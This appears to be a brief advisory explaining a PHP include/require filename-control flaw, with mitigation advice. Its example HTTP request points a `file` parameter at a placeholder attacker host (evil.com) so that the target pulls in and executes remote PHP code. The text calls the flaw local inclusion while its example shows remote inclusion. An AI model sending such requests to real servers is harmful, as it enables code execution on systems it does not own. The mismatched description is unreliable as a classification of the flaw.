How the Exploit Works

The exploit takes advantage of the PHP program’s improper control of filename for Include/Require Statement. An attacker can manipulate this to include a local file from the server, enabling them to execute arbitrary PHP code. This could lead to unauthorized access to sensitive data or control over the system.

Conceptual Example Code

An example of how the vulnerability might be exploited is shown below. This is a conceptual example of a malicious HTTP request.

GET /vulnerable_page.php?file=http://evil.com/malicious_code.txt HTTP/1.1
Host: target.example.com

In this example, the attacker is requesting a page (`vulnerable_page.php`) from the target server (`target.example.com`), and the `file` parameter is manipulated to include a malicious file (`malicious_code.txt`) from an external server (`evil.com`). If the server is vulnerable, it will include and execute the malicious PHP code from the external file.

Mitigation

To mitigate this vulnerability, it is recommended to apply the vendor patch as soon as it becomes available. As a temporary mitigation, usage of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide some level of protection. It is also advisable to configure PHP settings to disallow including files from external sources.
